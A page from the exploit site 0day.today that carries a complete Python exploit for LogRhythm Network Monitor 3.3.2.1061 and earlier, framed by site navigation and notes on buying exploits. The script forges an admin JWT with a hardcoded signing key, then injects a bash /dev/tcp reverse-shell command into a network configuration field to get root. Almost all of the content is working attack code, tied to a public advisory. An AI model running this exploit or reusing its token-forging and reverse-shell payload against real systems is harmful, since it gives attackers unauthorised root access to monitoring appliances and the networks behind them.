0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
LogRhythm Network Monitor - Authentication Bypass / Command Injection Exploit
[# Exploit Title: LogRhythm Network Monitor Auth Bypass Root RCE
# Public Disclosure Date: 24 Apr 2017
# Author: Francesco Oddo
# Reference: http://security-assessment.com/files/documents/advisory/Logrhythm-NetMonitor-Advisory.pdf
# Software Link: https://logrhythm.com/network-monitor-freemium/
# Version: 3.3.2.1061 (latest) or below
# Tested On: nm_install_3.3.2.1061.iso with Freemium License (SHA256 7978f84e9fb18e2fae95f77a263801ca89b4767c95154b9ea874032081b02ce1)
# Dependencies: `pip install PyJWT`
import json
import requests
import argparse
import time
import jwt
def forge_jwt(rhost):
print "[+] Forging JWT authentication token"
key = 'Gluten-free 100% narwhal deserunt polaroid; quinoa keytar asymmetrical slow-carb plaid occaecat nostrud green juice dolor!'
iat = time.time()
exp = iat + 3600;
body = json.loads('{"iat":1479893930,"exp":1479894830,"data":{"username":"admin","licensed":true,"role":"admin","timeToResetPass":false}}')
body["iat"] = int(iat)
body["exp"] = int(exp)
token = jwt.encode(body, key, algorithm='HS512');
return token
def command_inject(rhost, lhost, lport, gwhost, ifname):
uri = "https://%s/data/api/configuration/" % rhost
json_body = json.loads('{"type":"network","configurations":[{"name":"interface","value":"","isToggle":false},{"name":"method","value":true,"isToggle":true},{"name":"ipAddress","value":"","isToggle":false},{"name":"netMask","value":"255.255.255.0","isToggle":false},{"name":"gateway","value":"","isToggle":false},{"name":"dnsServers","value":"","isToggle":false},{"name":"searchDomains","value":"","isToggle":false}],"diffFields":["dnsServers"]}')
payload = ";bash -i >& /dev/tcp/%s/%s 0>&1" % (lhost, lport)
json_body["configurations"][0]["value"] = ifname
json_body["configurations"][2]["value"] = rhost
json_body["configurations"][3]["value"] = payload
json_body["configurations"][4]["value"] = gwhost
json_body["configurations"][5]["value"] = gwhost
jwt = forge_jwt(rhost)
auth_header = {'Token': jwt}
print "[+] Initiating reverse shell via command injection at %s:%s" % (lhost, lport)
requests.post(url=uri, json=json_body, headers=auth_header, verify=False)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='LogRhythm Network Monitor Root Remote Command Execution PoC')
parser.add_argument('--rhost', help='RHOST IP address')
parser.add_argument('--lhost', help='LHOST IP address')
parser.add_argument('--lport', help='LPORT')
parser.add_argument('--gwhost', help='Gateway IP address')
parser.add_argument('--ifname', help='Target Interface Identifier', default='enp0s3')
args = parser.parse_args()
command_inject(args.rhost, args.lhost, args.lport, args.gwhost, args.ifname)
# 0day.today [2024-11-16] #